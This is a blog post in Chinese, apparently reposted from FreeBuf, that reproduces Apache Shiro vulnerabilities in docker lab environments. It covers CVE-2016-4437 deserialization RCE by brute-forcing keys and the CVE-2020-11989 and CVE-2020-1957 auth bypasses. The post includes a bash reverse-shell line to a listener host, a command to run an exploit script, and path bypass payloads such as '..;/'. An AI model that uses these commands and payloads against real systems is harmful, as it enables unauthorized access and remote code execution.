Shiro框架漏洞复现笔记 – 作者:MISUagain

Shiro简介

Apache Shiro是常见的Java安全框架,执行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,就会导致shiro的反序列化漏洞。

指纹:

返回包存在set-Cookie:rememberMe=deleteMe或URL中有shiro字样。
有时服务器不会主动返回rememberMe=deleteMe,直接发包即可。

Shiro的功能用到了AES加密,但是密码是硬编码在代码里的,所以很容易拿到密钥,因为AES是对称加密,即加密密钥同样是解密密钥,所以就可以通过恶意构建Cookie获取权限执行命令。

新版本到Shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥。但如果使用了别人的开源框架,他们在代码里配置shiro的密钥,而使用者没有修改shiro的密钥,关键代码可以在github上通过api search接口搜索到,从而得到一个所谓的key包,然后去轮流尝试。

Apache Shiro反序列化漏洞(CVE-2016-4437)

漏洞分析:

Apache Shiro默认使用CookieRememberMeManager。其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。

复现环境:

vulhub

复现操作:

访问靶机并抓包,返回包中有rememberMe=deleteMe,基本可以确定网站是Apache Shiro搭建。
image-20210518003647369.png使用shiro_attack工具进行找key,使用时勾选如下两框。
image-20210518004330820.png成功利用获得的key进行命令执行。
image-20210518004623205.png

Linux不出网环境渗透Shiro反序列化漏洞

搭建环境:

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8888:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

image-20210520132013785.png复现操作:

需要python3执行

python3 shiro-1.2.4_rce.py http://192.168.109.9:8888/login.jsp

image-20210520135436623.png反弹shell

bash -i >& /dev/tcp/192.168.109.9/8889 0>&1

image-20210520140112902.png

命令自动编译执行,无回显。
image-20210520140157678.png成功上线,docker也一样运行。

Apache Shiro权限绕过复现(CVE-2020-11989)

漏洞简介:

Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon,authc等拦截器。anon为匿名拦截器,不需要登陆即可访问;authc为登录拦截器,需要登录才可以访问。

Shiro的URL路径表达式为Ant格式,路径通配符表示匹配零个或多个字符串,/可以匹配/hello,但是匹配不到/hello/,因为*通配符无法匹配路径。加入/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现权限绕过。

影响范围:

Apache Shiro < 1.5.2

复现环境:

docker pull vulfocus/shiro-cve_2020_1957
docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.109.9 29136b1d3c61

image-20210522143921418.png复现操作:

访问靶机

image-20210522143944513.png访问 /hello/1 接口,被authc拦截器拦截,将跳转到登录接口进行登录。
image-20210522145240264.png访问 /hello/1/,可以绕过authc拦截器。
image-20210522145313779.png

在1.5.1版本(及其之前版本)中,会直接跳转到登录!

payload:

/dwdww;/../hello/1

或其他payload:

xxxx/..;/hello/1

CVE-2020-13933和CVE-2020-11989总结

CVE-2020-11989针对 /admin/page,这种固定路由,Shiro得到的地址为/,因此认为可以访问。Spring得到的地址为 /admin/page,从而定位到未授权页面。

CVE-2020-13933匹配非固定地址路由,比如 /admin/{name},Shiro得到的是/admin/,认为可以访问。Spring得到的是 /admin/;page,如果也采取固定路由,则会因为找不到;page,从而返回404。

Apache Shiro认证绕过漏洞(CVE-2020-1957)

漏洞简介:

在使用Spring动态控制器时,攻击者通过构造..;这样的跳转,可以绕过Shiro中对目录的权限限制。

影响范围:
Apache Shiro < 1.5.3

复现操作:

复现和CVE-2020-11989一致。

来源:freebuf.com 2021-05-22 15:35:48 by: MISUagain

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论